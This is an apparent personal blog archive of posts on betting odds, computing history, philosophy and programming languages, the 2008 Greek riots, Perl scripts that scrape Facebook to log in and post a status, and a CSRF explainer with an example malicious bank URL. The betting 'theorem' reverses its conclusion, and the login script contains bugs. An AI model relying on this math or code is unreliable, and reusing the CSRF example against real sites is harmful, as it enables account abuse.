Developer On Line

The Fundamental Theorem Of Betting

2010-01-12T02:18:00.000-08:00

I used two popular websites to get betting odds for the today's match between Egypt and Nigeria. Here are some odds from two example sites:

Site 1: Egypt (2.90) - X (3.20) - Nigeria (2.35)

Site 2: Egypt (2.65) - X (3.10)- Nigeria (2.65)

Which site of the two should be preferred over the other? Generally, how to compare the attractiveness of different betting odds? In what follows, I am presenting what I call as the "fundamental theorem of betting".

Consider just the single game "Egypt vs Nigeria" which has 3 possible turnouts: "Egypt wins", "nobody wins" and "Nigeria wins". Let us also consider that we have a budget of Δ dollars and that we split this sum to all three turnouts, betting Δ1, Δ2 and Δ3 respectively. Finally, for every event, we expect to win some money, say W1, W2 and W3. In general, we are just interested in winning more money than we spent ( Δ dollars), so for every event that might take place (e.g. "Egypt wins" ) we might want W1 > Δ or W2 > Δ or W3 > Δ. But we might want to ask: Can all of these inequalities hold? The obvious answer is no. Otherwise, the booker would go bankrupt. Next, we have to ask: What values do the W's satisfy? It turns out that this is a linear function, with coefficients determined by the betting odds of the booker!

Consider that we have a budget Δ and we want to split this in all k possible turnouts. Thus, we will have to pay Δ1, Δ2,Δ3,..., and Δk respectively. For every turnout i the booker provides a betting odd Mi. This means that we will win Wi = Mi * Δi, in case of this turnout. Finally, every profit has a specific ratio of the whole budget Δ. This is the real profit since we are interested in making more money than we spent. For every turnout the profit will be denoted as: Ai = Wi / Δ. One can easily see that:

(A1/M1)+(A2/M2)+...+(Ak/Mk) = 1

For clearer inspection:

This is what one could call the "Fundamental Theorem Of Betting".

Remember that the μ's are the booker's betting odds and the α's are the ratios of profit over the overall budget. For example, if we invested $200 in total and Α1 = 2.0 then if turnout #1 happened we would win 200x 2.0 = $400 and so on. When an α is greater than 1 this means that we won more than we invested in total and so we are interested in establishing at least one α greater than 1.0. This means that it would be useful to consider one single quantity:

M = (1/M1)+(1/M2)+(1/M3)+...+(1/Mk)

The following cases now exist:

1) M > 1.0

If this is the case then the booker is going bankrupt. Players can construct a set of α's such that all of them are greater or equal to 1.0. This means that every player either wins more than he spent in total or he gets his money back (zero loss)

2) M = 1.0

In this border case, the players can set all α's to 1.0 and never suffer a loss. This is not very meaningful and players might try to disturb the ratios by increasing and decreasing some of the ratios.

3) M < 1.0

This is expected to be much more frequent in real world betting odds. Players will have to decide how to distribute their bets.

What's more important, the quantity M can be used as a metric of how attractive the betting odds are. The greater the quantity M is, the better the odds are for the players. Going back to the example in the beginning we have:

Site 1: M = (1/2.90)+(1/3.20)+(1/2.35) = 1.0828

Site 2: M = (1/2.65)+(1/3.10)+(1/2.65) = 1.0773

One can see with a single arithmetic comparison that Site 1 gives slightly better margins for profits (1.0828 is bigger) and it should be preferred to Site 2. Even within the same book house, players should prefer games with higher M factors than others. The first step to a complete "Theory of Betting" has been made!

The Most Influential Person On Computer Science

2009-12-17T11:32:00.000-08:00

Who was the most influential person on computer science (or computing if you prefer)? A web search is not particularly helpful. Most of the times, the pages I got were confusing CS with programming. However, to quote Edsger Dijkstra, "Computer Science is no more about computers, than astronomy is about telescopes". Some names may come quickly to

mind: Alan Turing, Church, Kleene etc, were all pivotal to the development of the computing science. But a deeper search can reveal the person who had the most critical impact: David Hilbert.

Hilbert was a German mathematician who worked on an incredible range of subjects: number theory, logic, geometry and over to special relativity theory. Yet, it was not his direct contribution that matters, but the influence he had to others on working on the fundamentals of computation. And it all started by his zealous stance towards a deep philosophical debate of the "ignoramus et ignorabimus".

And now the story begins.

Back in 1872 Emil du-Bois Reymond was a well-respected physiologist with considerable work on electro-physiology, studying the electric "properties" of human and animal tissues. At this year, he publishes a paper in which he claims his philosophical belief of "ignoramus et ignorabimus" (=we don't know and we won't know). This was a slightly more pessimistic version of the well known Socratic view "I know one thing; that I know nothing" but it was gaining acceptance through the philosophical circles at the time. The main point was that there are some stuff that humans do not know and they will never know (e.g. the origin of life or the universe) One might agree that it seems like a yet-another harmless philosophical idea. Some people were supporting it, others would be skeptical, but all in all, life would go on. But science was meant to take a dramatic turn because a man would take this debate to the extreme.

At that time David Hilbert was 10 years old. In subsequent years, through his work, he would confront deep philosophical problems, even within mathematics. However, the "ignorabimus" movement had really hit his nerve. In 1900, in the International Mathematics Conference in Paris, he addresses a call to arms to mathematicians by claiming: "in mathematics there is no ignrorabimus!". He uses mathematics to exterminate once and for all the pessimistic view, and claims that there should be a finite process of inference rules, that when applied, they would infer any correct statement. He then asks from mathematicians to help him in this direction (the 2nd problem in the problem list he announces at this speech was related)

Almost 28 years later, in 1928, Hilbert poses yet another challenge: The Entscheidungsproblem asks specifically for an algorithm that will be able to decide if a specific statement (e.g. 1+1=2) is true or not. During the 30's great things just start happening. In 1931, Kurt Godel breaks the first problem with his ground-breaking theorem of incompleteness. In short, most interesting systems, can either infer contradictory statements or they cannot infer some correct statements. Later, in 1936 and 1937 Church and Turing independently solve the last puzzle by proving that there are statements that cannot be proved or disproved. Hilbert's dream was shuttered but a new scientific field was born out of the proofs of these very problems! It is important to note here that, 5 years before his proof, Alonzo Church was in the famous Gottingen University during the years 1929-1931, visiting...David Hilbert.

But wait, there is more! It was not only theoretical computer science that was catalyzed by the influence of David Hilbert. The creation of the first general-purpose electronic computers would be pioneered by his assistant. Even in 1942, one year before the ENIAC project, Hilbert's former assistant in the University of Gottingen, would start an ambitious project of creating a general-purpose computer in the Institute of Advanced Studies at Princeton University, that ended in 1952. His work all these years marked the beginning of this era and his architecture is preserved more or less even in today's computers. His name was ...John Von Neumann!

Other than Hilbert, who else can claim of having a bigger impact on computer science?

Catching Up

2009-08-05T04:45:00.000-07:00

An activity of 1 post per year, is hardly considered a blog. Yet, there is some good reason for that, and it is not happiness as Aaronson puts it in his own recent post. From April, when the last post was Slashdotted, I have never been in the mood for writing something, although there is actually some good potential material. Here is a short summary of the things that I have been doing since April, offering at the same time, a kind of apology to the readers of this web column.

In April, I moved to the Emirates, in a robotics laboratory (IRML) near Dubai.We have been doing work on human-robot interactions, and we have also been exploring how social information can be used to make them more meaningful. The project is called Facebots, carried out by Nikolaos Mavridis, and funded by Microsoft's External Research. Mr Mavridis, is an MIT-graduate Medial Lab) and the founder and the director of the IRML laboratory of the University of the UAE. His innovative research lies in the intersection of virtual and physical worlds, and the lab he manages is the most advanced in the region and perhaps one of the best globally. Here are some highlights the work we did, which might be extended in subsequent posts.

First there was the first Arabic speaking interactive humanoid robot, which was programmed as part of a senior project in UAE. Our robot, was able to understand a set of keywords and perform a simple pre-scripted interaction with gestures and facial expressions, and all of this in Arabic. You can watch a demo of this interaction in the following video:

Second, in the Facebots project, Facebook was used in order to build rich and meaningful interactions. For example, the robot was able to harvest data from Facebook and gossip with humans, about mutual friends present in Facebook or in real life. In a spin-off project, we researched how social information, like friendships, can assist face recognition tasks. The idea is that we tend to co-exist with friends in our photos. Results were encouraging and were published in relevant papers. Some of the prominent visitors in our lab, which also interacted with Sarah Mobilero, the little Facebots robot, were Shankar Sastry, Dean of Engineering at Berkeley, or the Ambassador of Canada in the UAE.

Both projects received some pretty wide media coverage, most notably with BBC's report on the Ibn Sina humanoid robot. You may find the BBC article here. In addition, several newspapers covered the Facebots story with The National, offering the most precise version in its UAE-wide pages. The article exists online and can be found here.

Now, I am preparing for Harvard University, where I will be taking some graduate courses in Computer Science in the Fall term, and hopefully make the way for a graduate degree in CS or Applied Mathematics. Before moving to Boston though, I hope to recover and to be done with all the catching up, because come to thing about it, there are much more to say!

If Philosophers Were Programmers

2009-04-15T15:17:00.000-07:00

Although not obvious, philosophy actually has a strong relation with programming, at least for me. If you think about it, software code reflects much of how the developer perceives the problem and its solution. Before starting to program, developers spend some time thinking over the problem, identifying important properties and their underlying connections, a process that reveals their philosophy as the way they perceive real-word situations. Likewise, philosophers are constantly trying to identify the most important properties of the issues they reflect on, like life, conscience or God.

Under this perspective one might be able to make a consistent mapping of the ideas behind programming languages and the ideas that philosophers have come up over the years. It is perfectly reasonable to consider the programming languages as the different philosophies of a virtual world, in which entities do exist and interact with each other. To this respect, even the fundamental philosophical questions receive an interesting transformation: For example "What is self-conscience?" can be rephrased as "What is reflection?".

To the fun part, one might ask: "What if philosophers were programmers? What programming language they would use?". Well, here are my answers!

Socrates : The Hardcore Assembly Programmer
Socrates was one of the founders of philosophy but this is not where the connection ends. Socrates had devised a clever methodology to win every debate. He kept asking questions until a contradiction was reached. So, when someone would claim "morality is important", Socrates would ask "How do you define morality?".

In a similar manner, everything in Assembly begs for a question. There is nothing pre-assumed (at least in pure Assembly, not the distros filled with pre-processed libraries and other junk) and everything has to be as succinct as possible to have a meaning. If you were to work with the programmer Socrates and shared something like "var x = null;", your partner would start by asking "What is var?" !

Aristotle : The Influential C Programmer
Aristotle had a huge impact on Western philosophy, founding many scientific areas, from physics to biology. He was the first to closely examine real entities as the real essence of everything, in contrast to Plato's abstractions. His philosophy is driven by the golden mean as the key to reaching morality or understanding life (matter and form).

The C programming language was equally influential to the design of all other "programming philosophies", most obviously in the syntactical level. In addition, by the time of its writing in the early 70's, C was supposed to be the golden mean between the so-called high-level languages and the Assembly language, combining the capability to write machine-independent code combined with the power of low-level access.

Plato : The Idealistic C++ Evangelist
Plato is a huge figure in philosophy, student of Socrates and teacher of Aristotle. That said, I owe you an explanation about the obvious anomaly: How come that C++ is coming after C? Let me explain. Plato is famous for his Forms or Ideas, that refer to the archetypical versions of the things around us. So, the cup in your desk has is a shadow of a similar oval-shaped archetype in the world of Ideas. In programming words, it is an instance of the Cup class.

Similarly, C++ , as an extension of C, is the first language that tries to capture this idea of forms by giving the developers the capability to abstract the problem before doing anything else. This is a major step by itself, since even if no actual code solving the problem is provided, the classification and the problem modelling are evident and valuable to others. You might wonder, why Plato would not program in Java. Well he could, but there is another parameter to the story: Plato is not so confident how symbols can represent his Forms, and clearly prefers the spoken dialogue (as mentioned in Phaedrus). In a similar manner, C++, not entirely confident in its direction, remains a superset of C, being fully backwards-compatible with the more non-ideal syntax of C.

Stoics : The Happy Perl Community
Stoics and their philosophy (Stoicism) had silently, a far-reaching impact not only to Western philosophy but to the philosophy and the global culture as a whole. Interestingly enough, there is no single man behind it, but it was actually a collaborative intellectual achievement. Stoicism denies anything immaterial and tries to explain the world through propositional logic. So, Stoics reject everything Ideal and concenrate in morality, in which they call us to get free from anything we can't control, but rather appreciate the freedom to self-introspect and reach true wisdom. Stoicism rejects political systems and other formalities, and promotes Socrates' citizen of the world for everyone. People are meant to be brothers, away from distinctions, aiming to contribute happily to a society of friendship and love (jus commune gentium). You should already notice the influences to most widespread religions, like Christianism and Buddism.

Most interestingly, Perl was created in the 80's, a decade in which finally logic/functional programming had found its place in the programming languages world. However, the Perl community (and language) shares much more striking similarites with the Stoics and their philosophy. Perl as a language is to the best possible extent, free of form. Actually the most common phrase in the Perl world is "there is more than one way to do it" or TIMTOADY for short. The philosophy behind Perl rejects syntactical constraints, giving the freedom to its programmers to code in their style, but at the same time encouraging sharing and contribution to the community. Perl's power lies to a great extent to the existence of CPAN, the archive of modules and software happily shared by Perl programmers all around the globe. The language's influence to the programming world has been silent, but much more far-reaching than what is immediately observable. One could mention its strong influence to scripting, dynamic typing and functional programming, but it could be summarized to a joke which is familiar to Perl fans: The next market's crash will be triggered by a bug in someone's Perl script.

Rene Descartes : The True Java Guru
Descartes was the first philosopher of the Western culture to stand up against the Classical Ancient Greek philosophy. His core philosophy as mentioned in his famous Article 7 of the "Les principles de la philosophie" is based on the concept of cogito (=intellectual ego). Descartes believes that doubt is a proof of existence, and cogito is the cause of doubt, arriving to the famous "cogito ergo sum" (=I think therefore I exist). The cogito is not just another process we do, but actually all we do. So, what we want, imagine or feel is directly accessible through it. Descartes nearly 'proves' the existence of God, by the fact that we are able to think about the necessity of his existence. In fact any Ideal or Form can be directly accessible by our cogito. Descartes also marks another landmark in the history of philosophy: Beginning from his work, philosophy is trying to avoid confusing abstractions and to establish a succinct, almost geometrical form. Descartes presents his ideas nearly in the form of theorems.

Descartes would be the perfect Java guru. Java was the first strongly-typed language, in which everything must have a type (or share a Form) before it is being used, matching perfectly the Descartes' efforts to be always exact for what he is talking about. Descarte's cogito is in fact a revisit of Plato's Forms, with a slight variation in which ideals exist because we think about them and not in another universe. To that respect, his philosophy is purely object-oriented, as the solutions in which we arrive, are direct products of our intellects.

Immanuel Kant: The First Python Programmer
Kant found the 'easy' way to the pantheon of philosophy by rejecting two prevailing and opposing methodologies, Descarte's cogito and the empiricism, by shouting 'It's both!'. Kant investigated how humans reason, claiming that experience offers the truth, but which has already been filtered by intellectual judgement (a priori). At his mature years, he examined aesthetics, and the theory trying to explaining the way we perceive beauty. Kant was an extremely concise personality, being obsessed with tideness and exactness, doing the same things, exactly at the same time every day, to the extent that his acquaintances were 'using' him to calculate time!

Similarly, Python is a programming language that tries to combine different solutions and promote it as a new one. As a language it accepts multiple programming paradigms, from object-oriented to contract-based programming. Python programmers reject the free formats of languages such as Perl, and although they borrow several features from it, they emphasize on simple and explicit code. Python becomes so 'obsessive' that imposes whitespace identation as delimiters for code blocks to its users. In the "Zen of Python", the first out of the 19 commandments, the first one is "Beatiful is better than ugly". Kant's obsession to beauty and aesthetics, makes him triumphantly the first Python programmer ever.

Ludwig Wittgenstein: Natural Born Haskell Programmer
Wittgenstein reformed Western philosophy going as deep as to examine Socrates' 'recipe' for debate success. His monumental work, the Tractatus Logico-Philosophicus, can be compared to a hard graduate mathematical book in Logic. Wittgenstein identifies the semantic and symbolic forms as the root of all philosophical problems, leaving the rest that can be explicitly defined as the subject of science. Using pure logic, he deducts that language inherent ambiguity is what makes philosophy repeat itself, and closing his book with the famous 'What we cannot speak of, we must pass over in silence', claims to have solved,..., all philosophical problems.

Wittgenstein is a natural born Haskell programmer. Haskell was not the first functional programming language in town, but from late 80's and onwards, it has prevailed as the most important among the group. Haskell is not meant to be accesible by anyone, and just like the austere and succinct Tractatus, as Wikipedia states, it has a strict mathematical and logical form. Haskell, being purely functional, goes as deep as redefining the way we treat abstract data types, the same way Wittgenstein goes back to Socrates' dialectic to reform modern philosophy.

These all may sound weird, but for programmers, it is easy to realize these deeper connections. I am not quite sure if the same holds for philosophers. Anyway, at least by now, it should make much more sense why in every article in Wikipedia, presenting a programming language, there is special section named "Language philosophy".

Riots In Greece Reveal A Nation Divided In Half

2008-12-09T22:59:00.000-08:00

I think there is nobody that has not yet heard of the huge and violent riots in Greece. It's been repeatedly over the news for 4 days on starting from Saturday 6/12/2008 when 15-year-old Alexandros Grigoropoulos was shot dead by police fire. I will try to make some statements about the madness we are currently living here, in the most sincere and truthful way possible.

The boy was not killed by police, but by a special guard.
'Special guards' is a force that does not belong to police force. They come mostly from military forces, they were formed in 1999 to patrol targets such as embassies, but remained un-armed until 2004, when Vyron Polydoras unleashed them on the urban areas, fully armed. Actually, the government was planning to integrate it into the police force by 1/1/2009 (however this seems highly unlikely now). As such special guards were not as trained as normal police officers and their existence seemed to serve only political purposes.

It was not an accident. It was a murder.
The klling was totally paranoic and absurd. Alexandros was not Carlo Giuliani. He was not killed during a riot or a protest. It was a quiet evening and the boy was out at Saturday night with his friends. A verbal dispute was enough for a military gorilla to pull the trigger. Actually the two special guards, returned back even when the dispute was over to bully the kids. This is paranoia.

Greece has no government.
Kostas Karamanlis became a Prime Minister, promising justice and transparency. However, he is trapped in his incompetence and in a party crowded by incompetence. Minister Of Interior, Prokopis Pavlopoulos (photo), is at the same time Minister of Press, after the most-provoking scandal of Vatopedi caused the resignation of Roussopoulos. Mr Pavlopoulos resigned after the murder but his resignation was not accepted.. Then, Karamanlis, totally out of touch, instead of forming a tractable plan to deal with the crisis, demanded from all other parties to clearly condemn the riots, implicitly meaning that these riots are politically supported. No comments. This absurdity has lasted long enough.

Greek youth is not rioting. It is dissapointed.
Some political parties on the left wing is attempting to exploit youth as an emering political group that is trying to express itself, a most unwise move that will fall into the void. The riots are not caused by Greek youth. They are wrong. Dissapointed? Yes. Melangholic? Yes. Pessimistic? Sure. Angry? Of course. But they are not trouble makers. They are not destroying properties or pillaging shops. Politicians should try to reach out for these young people with great caution and already some have made the big mistake.

Recent riots are much less than a revolution, but much more than hooliganism.
Politicians, analysts and journalists are referring to current unfolding riots as a social phenomenon that we will have to understand. When this stupidity will fade out, we will all realize that there is no political meaning behind setting a city building to fire. It is yet another illegal activity by criminals, extremists and immigrants. After all, these people are not any better than the guards who shot the boy. A sane demoratic society cannot justify any outlaw activity. Period.
However, this one is different. Recent riots show an unprecented violence, partially due to poverty and deep social problems and partially due to recent huge corruption scandals, like the case of Vatopedi.

Greece is now directly faced to its long deep social and political problems. The nation seems to be divided in half, the one side demanding justice and change and the other one somewhat justifying police methods and expressing the opinion that all these are supported under the table by left-wing parties...

My Daily Encounter With Orion

2008-12-02T16:08:00.000-08:00

Programming is happening mostly at nights, at least for my case, because this guarantees silence and concentration. I barely can stand 2-3 hours of constant typing (unless I am really absorbed) and so I am frequently making some quick breaks by hanging around my balcony to get some good, fresh air.

I have the great privilege to be able to watch a big deal of the sky, since my house is not located at the center but in a quiet semi-suburban area near the sea, but never actually bothered to know more about the things I was gazing at. This is when I decided to set up Stellarium on my computer.

The first lesson was about the big bright triangle that I was seeing more and more often lately. It's base has three stars and it turns out it is the most known constellation on Earth. It is the Orion constellation (photo). If I was less ignorant, I'd know the basics, i.e. that Orion is visible to almost all of the Earth and in Greece it moves from East to West during the winter nights.

Wikipedia states it is the longest observable constellation, since it was formed 1.5 M years ago and it will last for the next 1M-2M years, thus having a great bond with human civilization. Orion is to be found on all cultures. In Ancient Greece, Orion was a Hunter who questioned Gods' power on Earth. Near Orion, on can find many other sky landmarks, such as Sirius on the east, the brightest star of the sky, the Taurus on the West and the Pleiades, the little 7 stars who look a little cloudy, which are next to it. Ancient imagination sometimes linked these stars together by picturing a fight of Orion with Taurus or sometimes Orion chasing the Pleiades.

Once an overwhelming experience that excited the imagination, then a great navigation tool, the stars seem to have lost their impact on human civilization (well at least the sky stars). Astromoners have computed their behaviour to the final digit to begin with.

However this is still a rewarding activity and altough I don't know if I ever forget anything that I have learned so far, since it is already a daily routine I will expect that at 4-5 am of every winter morning, Orion will be there pointing to the North, making some good company during my quick and cold homeworking breaks.

A Programmer's (Over)View On Microsoft's PDC 2008

2008-11-16T17:38:00.000-08:00

It has been two week that Microsoft's annual Professional Developers' Conference for 2008 came to an end.By all testaments I could find on the web, it has been a tremendous hit and the online sessions I have watched so far are really, really good.

Microsoft made a great deal of announcements: Windows 7 and Windows Azure were the most popular on the list. Apart from fancy high-tech jargon, if we were to decode in computer science terms where Microsoft places the big bets, we should mention:

Parallel Computing
Cloud computing
Managed Memory Framework (.NET)

Clearly, we have reached the limits of nature with these giga-capable processors on our ordinary laptops. And if we can't build better processors we can still build more of them. This is the rise of multi-core computers, and managing all these cores on the same machine is a great engineering task. Microsoft is, naturally, deeply faced with these engineering challenges that are at the heart of Windows 7 design. Windows 7 is the next desktop operating system from Microsoft, after the heavily criticized Windows Vista and its highly-advertised failure (actually Vista with Service Pack 1 has become much stable). Among other things, Windows 7, is claimed to be a much more scalable system, even up to 256 processors! Having this kind of scalability, is of course not targeted to low-end users like me and if it was, I wouldn't be able to notice it. However, if this is true, we could experience a sharp boom in high-end computational power. This interview with Mark Russinovich, a famous Windows Expert, will give you a much more technical view into the challenges of Windows 7.

In his keynote speech, Ray Ozzie (photo), Chief Software Architect at Microsoft, began with introducing Windows Azure, baptising it "Windows OS on the cloud". You can read my thoughts on cloud computing on a post I wrote some months ago. In summary, I am not the perfect fan of the idea but Microsoft on the other hand has no choice than competing directly with Amazon, Google and Yahoo! who are already into this area. Bundled with Microsoft's unbeatable developer support, it could rapidly gain much interest.

Finally, one cannot but take notice of the volume of sessions and talks about the .NET Framework which has already a prominent place in Windows developers. Microsoft is working hard on making it even more complete and adding all kinds of cool stuff in it. Microsoft announced .NET version 4.0 (current is 3.5) which will have a great deal of interesting goodies like parallel processing extensions, design-by-contract classes which lets build a kind of SLAs inside the code of your methods, a new functional programming language F#, and many more.

It is really to hard to have everything all included here. I made a quick overview, on Microsoft's take on the future and as time goes by I will try to research deeper on some things (functional programming is going to be our next topic). I highly recommend you to go over the PDC sessions which are available online. Even if you are not into Windows programming, they are very interesting and funny (especially the F# presentation)

So, to recap, Microsoft is moving, and when it does so, by the law of nature and given its big mass, it moves anything that surrounds it, and this is a fact either you hate or love Microsoft.

Using Perl Against Facebook - Part II: Status Updates

2008-10-29T10:49:00.000-07:00

This post continues from Part I - Login to Facebook

By now, we are able to login to our Facebook account, so it is time to do more things with it. Facebook lets you publish your status, a short text descsribing what you are doing any time. It has a 160-char limit, just like the Twitter thing.

To get or set the status, we only need the homepage html page. To retrieve our status we just match it against a pattern and to set the status we send a POST request with the appropriate arguments. Here is the code:

#go to the homepage
$response = $browser->get('http://www.facebook.com/home.php',@header);

#Let's now post a new status
my $newStatus = "Testing DOL Code..";
$response->content =~ /id="post_form_id" name="post_form_id" value="(.+?)"/;

my $postformid = $1;
my %post_data = ("status"=>$newStatus,"post_form_id"=>$postformid);

$response = $browser->post('http://www.facebook.com/updatestatus.php',\%post_data,@header);

##Ok! The status was posted...
##Let's now see what we have done...

$response = $browser->get('http://www.facebook.com/home.php',@header);
if($response->content =~ /<span id="chat_su_text">(.+?)<\/span>/)
{
#Here is the new status
print "My status: ",$1;
}
else
{
print "Could retrieve status...";
}

This piece of code should be used in conjuction with the previous post. It assumes we have already setup the brower and the response object and that we have already logged in to Facebook. The code first posts a new status ('Testing DOL code...') and then tests if everything was setup ok.

Using Perl Against Facebook - Part I: Login

2008-10-26T15:05:00.000-07:00

After a small intervention about the economic crisis, it is time we get back to some hacking. This time we shall use Perl against Facebook, to do anything that Fb will not let us do. In this post I will just show how to login to Facebook. In the next post, I will dump the code on how to update your status.

For the history, Fb has indeed an API for developers that wish to build their application on the Facebook platform. You can start here, but this is not the place for me. The API does give you some choice but it was built with a different view in mind: 3rd party developers accessing peoples' accounts. This is why the API is very restrictive and it makes sense not letting an application do much with your data. There is also a plethora of the so-called Facebook clients, which in the majority are just a wrapper for the Facebook API (like this google code project). In most cases also you get redirected to Facebook pages. Shame..

So long for the Facebook API, let's get down on how to login to Facebook. Of course, language of choice is...what else, Perl (because simple things should be easy, and complex not impossible) In order to login to Facebook we have to follow these steps:

1. Go to 'http://www.facebook.com/login.php', and rest our virtual browser there to collect the cookies (GET request)
2. Visit 'https://login.facebook.com/login.php' with the proper parameters (POST request)
3. If we succeed then we can safely browse to 'http://www.facebook.com/home.php' to get our profile.

To do this we will need the LWP::UserAgent class (de facto in latest Perl distros) that will be our virtual browser. If we want to store the cookies we can use Http::Cookies. We will also need Crypt::SSLeay package so that our agent supports HTTPS. Ok. Let's do this.

Here is the complete code. Explanation follows.

my $email; #stores our mail
my $password; #stores our password
my $user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6';

$email = <>; #read the login e-mail
$password=<>; #read the password

chomp($email); #remove last line
chomp($password);

my %postLoginData; #necessary post data for login
$postLoginData{'email')=$email;
$postLoginData{'pass'}=$password;
$postLoginData{'persistent'}=1;
$postLoginData{'login'}='Login';

our $response; #holds the response the HTTP requests
#set the headers, let's make this a Firefox browser!
our @header = ('Referer'=>'http://www.facebook.com', 'User-Agent'=>$user_agent);

our $cookie_jar = HTTP::Cookies->new(file=>'fbkCookies.dat',autosave=>1, ignore_discard=>1);

our $browser = LWP::UserAgent->new; #init browser
$browser->cookie_jar($cookie_jar);

$browser->get('http://www.facebook.com/login.php',@header);

#here we actually login!
$browser->post('https://login.facebook.com/login.php',\%postLoginData,@header);

#was login successful?
if($response->content =~ /Incorrect Email/)
{
print "Login Failed...Quitting..\n";
}
else {
print "..and we are in!";
#let's go to the homepage
$response = $browser->get('http://www.facebook.com/home.php',@header);
}

Upon execution of the script we either get a Login Failure error or a message of success. In the subsequent article we will move on to how to get and set the Facebook status. Stay around because this will get more interesting. The final Perl script has about 500 lines of code and can send messages, retrieve inbox and chat among others!

Nouriel Roubini: The Prophet Of The Global Economic Crisis

2008-10-14T06:14:00.001-07:00

In a recent article, Mr Richard Posner, tries to understand the most disturbing with this global economic crisis: "How come we didn't see it coming?" It is still disturbing but since it happened, Mr Posner argues we should be better prepared next time, perhaps with a CIA-type financial institution which will gather information from disperse places and shield markets against such kind of disasters.

However, Mr Posner is fair. Not all of us didn't see it coming. There were many warnings, the most notable coming from a teacher in the University of New York, Mr Nouriel Roubini (photo), who has been predicting for years and with 'uncanny accuracy' what has already happened: housing bubble burst, oil shock, consumer confidence decline and recession..And this is where our story begins.

Mr Roubini got his PhD from the Harvard University studying international markets and concentrated on recessions of emerging economies, which were typical in 90's. His methodology is distinguished for taking history and cultural evidence into account. Along the way, Mr Roubini defined the fundamental and common characteristics of these economies at the peak of the recession: huge deficits (spending more than production), borrowing, exposed banking system, and government corruption. These were the clues he was looking for in the next economy to suffer a crisis. And guess what: it was US' turn!

Still in 2006, Roubini predicted the abandonment of the dollar and its decline, the burst of the housing bubble, the meltdown of hedge funds and ...well all what we are seeing now. When the first bailouts for Federal Reserve were announced in Spring of this year, there was no doubt for Mr Roubini: crisis was upon and the worst were yet to come. The days of dismissive comments towards Roubini, like perma-bear (always predicting the worst), or pessimist have gone, and people are listening sharp of what he has to say.

So what really happened? Mr Roubini talks about the biggest asset bubble and credit bubble in the history of humanity, not only on the US but in many other countries as well, and not only in one sector (mortgage) but across many different sectors. So, in fact, we can talk about a housing bubble, a mortgage bubble, an equity bubble, a credit bubble,etc, all breaking at once!

What is Roubini's view of the bailout plans? He is really making a point I can really understand. Before pouring money into these companies, you first have to wipe out corrupt managers and shareholders. Just throw them out. Otherwise it is just a scandalous way to waste taxpayers' money buying for gold the very (toxic) trash that these guys invented.

This was as far as I could go. For your further information just follow the articles linked here. I am also embedding a highly interesting interview of Mr Roubini on Bloomberg TV, talking about the coming recession, shot on July 2008.

Roubini's blog - Roubini Global Economic Monitor: http://www.rgemonitor.com/blog/
Article in NY Times - Dr. Doom: http://www.nytimes.com/2008/08/17/magazine/17pessimist-t.html

CSRF Attack vs. Google's PageRank

2008-09-30T09:17:00.000-07:00

Recently SlashDot had a very important story on a major security risk that all modern web sites face: The Cross Site Request Forgery is a malicious technique that can be used to exploit the trust that web sites have on their legitimate users (e.g. cookie)

A very simple example is provided in Wikipedia: http://bank.example/withdraw?account=bob&amount=1000000&for=mallory could be a URL that would withdraw 1M $ from Bob's account and put it into Mallory's. Bob may well have a cookie on his computer from his bank, still active, that would automatically authenticate him. Bob will only then see something like "Your transfer was completed succesfully!".

While exaggerating, this example shows well the fact that many modern web applications are heavily dependent on somewhat simplified authentication techniques (such as cookies). Properly crafted query sections of the URI(see here about URI structure), or script code, could then be used to enable requests from malicious entities. A slashdot user puts it well: "Repeat after me boys and girls "GET requests shouldn't change anything on the server"."

The most scary thing is that this problem is everywhere. Major websites are vulnerable, and recently YouTube and NYTimes included! Any link we click on, any image or file, could be harmful. While there are some serious preconditions that have to be met so that it evolves into a big threat, security experts believe we have just seen the tip of the iceberg. From our side, we could keep track of what we click on, but how careful can we be? (like this phishing example)

One major implication could arise if CSRF attacks escalate: It could hit on Google's PageRank algorithm. PageRank is over-dependent on hyperlink text section, because it weighs it on what the target page is all about. Perfect example: This Google search for the term "recapitasse" will bring Developer On Line on the top 10 results. This is an Italian word, never-ever mentioned here, but this blog was linked once(for the Gmail scam) with this text, and until now "recapitasse" is supposed to describe the content of that blog post.

Anyway, if quality a-tag text is essential for PageRank and if CSRF undermines it, this is a problem. It could lead to much more extensive Google bombs than we have ever experienced. Overloaded social networks(like Facebook) can also be a great place for this 'web disease'. The threat is much greater than before, because CSRF attacks do not come from malicious sites that we can keep track of. Users just do 'semi-subconscious' actions (image-button clicks) on trusted sites as they usually do. The question remains as to whether the Internet itself can keep its content clean and scam-free.

Further reading see here.

Donald Knuth And The Complexity Of Songs

2008-09-25T09:23:00.000-07:00

Donald Knuth is a living legend among computer scientists. His monumental work-of-life "The Art Of Computer Programming" (I was never able to fully follow it) is a standard reference/textbook/work of art for computer science. Mr. Knuth took a new, immature geek-only hobby and transformed it into a solid and complete scientific discipline.

Among his contributions, the systematic analysis of the complexity of algorithms, really stands out. As a concept complexity is very familiar to developers. It refers to how a specific algorithm or algorithmic solution to a problem scale to the 'problem size'.

If his work is a reason to admire him, his humor is a reason to love him. Recently, I had the most splendid time reading his hilarious paper titled "The Complexity Of Songs" ! Here is the story.

A song has some lyrics which we have to remember in order to sing it. Humans are trying to learn lyrics of length s (space complexity) to sing a song of length n. You would expect mathematically that s ~ n, but Knuth investigates all human 'inventions' to reduce the song space complexity!!

After a series of 'theorems', Knuth proves the existence of songs with s= a.n, a<1, s="O(sqrt(n))," s="O(logn)">and finally.....s=O(1)!! Yes, you read well.

Knuth argues the first step was the invention of the refrain, the repeated part of a song. If the song has m verses of length V and the refrain has length R, then the song length is roughly n = V.m+R.m and the complexity s = m.V+R. Hence we have a reduction of V/V+R in song complexity. So, a refrain is also a tool to save some memory space to remember the song!

Remember the old song "Old Mc'Donald had a farm, Ei-gh,Ei-gh,Oh!" ? Well this has a complexity s = O(sqrt(n)). It is much like the Greek song "Οταν θα πας κυρα μου στο παζαρι...". In this pattern, each verse includes all previous verses. For m verses n = o(m^2) and s = O(m), so s = O(sqrt(n)). This means that it is much easier to remember! That's why they are most suitable for children! A same pattern can yield a log complexity.

Now to the best part, Theorem 2 is the real killer! The introductory text goes as follows:"However, the advent of modern drugs has led to demands for still less memory, and the ultimate improvement of Theorem 1 has consequently just been announced:

Theorem 2 (Donald Knuth)
There exist arbitrarily long song of complexity O(1)

PROOF. Define U = 'uh huh','uh huh' and the k-th verse Vk = 'That's the way', U, 'I like it', U . This is a constant V. Then the song V^k, completes our proof!! Oh dear!

